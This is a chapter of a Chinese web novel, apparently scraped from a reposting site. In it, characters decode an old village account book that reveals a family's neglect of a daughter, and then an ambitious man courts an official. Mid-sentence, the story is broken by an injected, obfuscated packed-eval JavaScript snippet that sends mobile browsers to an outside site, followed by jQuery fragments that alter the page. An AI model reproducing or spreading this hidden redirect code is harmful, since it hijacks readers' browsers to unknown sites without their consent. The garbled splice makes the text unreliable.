“好了，你不要跟她计较。”老宅子里，秦至善柔声安慰着。


    自从葛安之说了那些话之后，柏苑就闷闷不乐起来，这让她十分不解——她不觉得葛安之在这件事情上面有什么错。所以柏苑在她身上浪费精力是一件完全没有意义的事。


    柏苑背对着她，正在弯腰检查葛欢遗留下来的旧物，秦至善看不到他的表情，只能听到他闷闷的声音穿过来：“你认为，她一点错都没有，都是我在无理取闹，对吗？”


    “当然不是，”秦至善道，“我是说你因为她而大喜大悲没必要，你要是看不惯，我找个罪名让她也进去，好让她们母女两个在监狱里面团聚，你看如何？”


    “？？？”


    柏苑震惊的直起身：“不，不是，你说什么？”


    “父债子偿，母债女偿，天经地义。更何况她还有可能占了旁人的考试成绩，你若是不喜，眼不见为净不就是最好的选择吗？”秦至善理所当然。


    柏苑回过头，和她面面相觑好一会儿，终于意识到她可能是认真的，赶紧摆摆手：“不不不，我没有这个意思，我只是……”


    “那你有什么意思呢？有就说出来。你这几天本就因为你母亲的事情郁结于心，这非长久之道。”秦至善像是看一个不懂事的小孩子一样看着他，“你想怎么处理？”


    柏苑开始结巴：“我，我想怎么处理，都可以吗？”


    秦至善点头：“当然。”


    因为重要的不是处理方式，而是处理的时间。


    真正的大事都是在顷刻之间解决的。犹豫不决是处理事情的大忌，果决者才能做大事。她不愿意看到柏苑在一个可能是仇人的女儿身上浪费太多的时间。


    但是柏苑不这么想，他以为秦至善是为了他开心而愿意为他报复葛欢，甚至不惜牵扯到无辜的葛安之，既感动又担忧：“枝枝姐，你不用……”


    “老板！找到了！”


    就在此时，小鸮从旁边的房间里面窜出，拿着一个本子激动地喊：“您说的账本是不是这个！”


    柏苑和秦至善迅速分开，齐齐退后几步。抬眸对视间，又不约而同的想：不对啊，我们不是正儿八经的未婚夫妻吗？躲什么？


    小鸮完全没察觉到他们之间的旖旎气氛，兀自捏着一个已经看不出原来颜色的和模样的本子——或许是本子，柏苑从她手里接过来，能感觉到一种分外黏腻的手感，他皱眉问道：“这是从哪里发现的？”


    “唔，”小鸮目移，“你看就行了，不用多问。”


    柏苑手一顿，脸沉下来：“我们找了这么久都没发现，你出去转了一圈就发现了？怎么回事？”


    他对于保镖这种能用金钱购买忠诚的存在并不放心，看着小鸮的目光也不善起来，但是小鸮浑然不觉，只是腼腆一笑，退后几步搓了搓手道：“我说了，你别生气啊。”


    “就是，就是，我想起来从前我奶记账本不放心，都是在裤子里面，我就去老柜子下面的那些旧衣服里挖了挖，然后……”她指着带有那个和旧抹布没什么两样的本子，嘿嘿一声。


    什么东西？柏苑心到不妙，但是已经迟了，难以形容的浓厚气味在狭小的空间内爆炸开来，劈头盖脸的开始无差别攻击。柏苑只感觉眼前一黑，什么东西闪过去了，紧接着，秦至善的声音在门外响起：“你自己看吧！”


    小鸮也跟着逃之夭夭了，徒留柏苑拿着那个生化武器一般的存在，弱小无助又可怜地站在原地，他又想把东西扔掉，又担心这么脆的老本子会一扔就碎，只好含着被熏出来的泪水，颤巍巍的打开。


    秦至善到底还是不忍心让他一个人遭罪，就把小鸮叫回来帮忙。小鸮一只手捏着鼻子，一只手拿着手机给柏苑照明，顺带充当翻译员，翻译那些柏苑看不懂的土话：


    “XX年正月初六，老X家办婚礼，随礼20元；正月十五，赶集买什么东西……这是什么？什么花？”


    小鸮凑过去：“这应该是弹棉花的账。以前都是自己买棉花找人弹好，然后再自己缝的。那样既省钱又暖和。不过能买到的起这么多棉花的人家也算是条件不错了……等等。”


    她双目一眯，若有所思道：“那就说不通啊。”


    柏苑：“怎么了？”


    “买的棉花太少了，做成的裤子，只够七八岁左右大孩子穿——他们家能买得起棉花，为什么不干脆做大一点？一般来说衣服裤子都会尽量做大，好多穿两年，还能让大孩子穿完了小孩子穿，哪有一开始就做这么小的？”


    柏苑大为震惊：“裤子也能轮着穿吗？”


    他完全不能理解这种生活，毕竟站在这的三个人里，他才是真·没见过底层生活的小少爷。


    小时候他的的衣服买一件扔一件，从来没穿过旧的破的不合身的；到了柏家之后，柏母再苛待他，也不会给他旧衣服穿，不然被人看见，打的是柏家的脸。


    所以，他压根没想过还有这种操作：“你是说，裤子这种东西还能同代相传？”


    好一个同代相传，秦至善呛了一下，小鸮无语：“大少爷，这是很正常的事好不好？况且重点不在这儿，在于他们家的行为不符合逻辑，基本没有做这么小裤子的。你往后面翻，我再看看账本。”


    柏苑听话的翻着，小鸮眯着眼睛，很快又选定了一页：“大少爷，??，你翻慢一点，这一页，你看。”


    大概三五页之后，记载这一个新书包的条目，后面标注着“给大蛋上学用。”


    “这个‘大蛋’指的应该是葛欢的哥哥，能单独买个新书包，后面还买了不少的只笔本子，说明在家里应该很受宠。”小鸮道，“以前本子可是稀罕物，听我爸妈说，一般一个本子用不到烂是不会更换的，但是葛欢的哥哥却每周都能买几个新的，可见家里对他很上心。”


    “那葛欢呢？”柏苑一边问一边开始翻找，却没有找到任何用葛欢身上的支出，明明她就比哥哥小两岁，但是家里好像没有这个人，吃的玩的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228094|186537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用的都没有她，书包纸笔也没有她，柏苑都看不下去了：“他们偏心的也太明显了吧？”


    小鸮见怪不怪了：“这才是正常操作。”


    秦至善一直没有吱声，此时却突然问：“小鸮，在村子里，像是葛欢这样的女孩，一般都是几岁嫁人？”


    “一般十七八岁吧，从前嫁人很早的。”小鸮自己说完，也愣了一下，“不对啊，十七八嫁人，按照葛安之的年龄来算，她也就是十七八生的孩子，这么算下来，她生完孩子就去上大学了？”


    搞笑呢。一个在家里连条棉裤、连个书包都没有的人，能被允许抛下孩子上大学？这比古代被允许为官作宰怕是一个难度吧！


    小鸮咂舌：“她是怎么做到的？谁给她提供的学费？”


    三个人面面相觑。秘密这种事真的是越查越多，秦至善也忍不住头痛，她对柏苑道：“小鸮再去翻翻有没有什么账本之类的，你去找你想印证的东西吧，那才是最重要的。”


    “至于我，我回T大查一下当年葛欢入学时候的情况，以及，陪葛安之去警局。”她皱眉道，“警察的电话已经打过来了。她必须在去警局之前，知道什么该说什么不该说。”


    当然，还有另一个原因，不能为外人道也，那就是——


    剧情中最关键的一个节点之一，男主建立商业帝国的关键节点，就要来了。


    *


    在当今社会，金钱购买的已经不太是一种体验，而是一种资格，你可以享受，你可以和别人划分开界限的资格。


    有些人称之为虚荣，有些人称之为壁垒。但没有人否认它的存在。


    柏辰坐在T市最高的建筑物顶端，就无比深刻的体验到了这种真理。


    这块地方并不宽敞，三角形状的空间只能容纳下四五桌人。脚下是一尘不染的钢化玻璃，头顶是多绫面的钻石顶，手边是从日本岚山空运过来的海棠花，馥郁的芳香铺满了方寸之地。


    这样的环境是对一个人自尊心的最好弥补，对领导点头哈腰了一上午的柏辰也身心舒畅起来。他朝对面穿着老旧衬衫的中年男人笑道：“您就放心好了，谁能拒绝这样的美景呢？吴小姐又是留学回来的，肯定会喜欢这里，我已经帮您问好了，她明天下午有空，到时候，您二位就坐在这里共进下午茶，肯定能够增进感情。”


    中年男人抿了一口茶：“小柏啊，难为你为了我家里这点事跑东跑西，折腾了好几天，真是让你费心了。”


    柏辰陪笑：“您说的这是哪里的话？我最大的荣幸就是想您所想，急您所急，您这些天对我的点拨，是千金都买不来的啊！”


    中年男人，也就是新上任的城市管理局副局长吴成周听见这话笑了起来，含深意道道：“小柏啊，你可比以前会说话多了。这样子，倒是有你爸爸当年的几分色彩了。”


    柏辰看着他难掩轻蔑的笑脸，好不容易被压下去的那种耻辱感又涌了上来——你算什么东西，也敢这么说我爸爸？！